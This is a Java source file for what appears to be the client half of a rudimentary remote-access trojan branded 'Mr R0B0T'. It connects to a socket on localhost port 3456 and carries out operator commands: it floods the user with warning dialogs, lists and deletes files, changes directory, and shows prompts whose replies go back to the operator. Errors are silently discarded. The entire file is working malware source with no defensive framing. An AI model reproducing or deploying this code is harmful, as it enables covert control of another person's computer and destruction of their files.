Client.java

import java.net.Socket;
import javax.swing.JOptionPane;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;

class MessageReceiver extends Thread{
	DataInputStream dis;
	DataOutputStream dos;
	String message;
	String receivedMessage;
	File file;
	String currentDirectory;
	String allList;
	public void run(){
		try{
			dis = new DataInputStream(Client.socket.getInputStream());
			dos = new DataOutputStream(Client.socket.getOutputStream());
			currentDirectory = "/";
			while(true){
				receivedMessage = dis.readUTF();
				if(receivedMessage.equals("spam()")){
					receivedMessage = dis.readUTF();
					for(int i=0;i<20;i++){
						JOptionPane.showMessageDialog(null, receivedMessage, "Mr R0B0T", JOptionPane.WARNING_MESSAGE);
					}
				}else if(receivedMessage.equals("fileListing()")){
					file = new File(currentDirectory);
					String list[] = file.list();
					allList = "";
					for(String s: list){
						allList += s+"\t";
					}
					dos.writeUTF("\n\n");
					dos.writeUTF(allList);
				}else if(receivedMessage.equals("changeDir()")){
					receivedMessage = dis.readUTF();
					if(receivedMessage.equals("/")){
						currentDirectory = "/";
					}else{
						currentDirectory += receivedMessage+"/";
						file = new File(currentDirectory);
						if(file.exists()){
							dos.writeUTF("Directory changed");
						}else{
							dos.writeUTF("Directory doesn't exists");
						}
					}
				}else if(receivedMessage.equals("remove()")){
					receivedMessage = dis.readUTF();
					System.out.println(receivedMessage);
					file = new File(currentDirectory+receivedMessage);
					if(file.exists()){
						file.delete();
						dos.writeUTF("File deleted");
					}
				}else if(receivedMessage.equals("sendMsg()")){
					receivedMessage = dis.readUTF();
					message = JOptionPane.showInputDialog(null,receivedMessage,"Mr R0B0T",JOptionPane.INFORMATION_MESSAGE);
					dos.writeUTF(message);
				}
			}
		}catch(Exception e){
			
		}
	}
}

class Client{
	public static Socket socket;
	public Client() throws Exception{
		socket = new Socket("localhost",3456);
		MessageReceiver receiver = new MessageReceiver();
		receiver.start();
		
	}
	
	public static void main(String args[]) throws Exception{
		Client c = new Client();
	}
}